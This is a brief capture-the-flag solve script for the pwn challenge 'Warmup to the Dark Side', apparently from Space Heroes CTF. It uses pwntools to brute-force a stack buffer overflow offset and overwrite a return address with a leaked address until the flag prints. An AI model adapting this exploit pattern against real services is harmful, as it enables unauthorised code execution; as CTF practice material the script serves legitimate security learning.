Solve for the pwn/binary challenge "Warmup to the Dark Side" from the Space Heroes CTF competition.

warmup-to-the-dark-side.py

from pwn import *

for i in range(32,128):
        p = remote("0.cloud.chals.io", 30096)
        address = p.readlineS()[112:126]
        log.info("Trying offset " + str(i) + " for address " + address)
        p.sendline(b'A'*i + p64(int(address, base=16)))
        output = p.recvallS()
        if "shctf" in output:
                log.success(output)
                break
        p.close()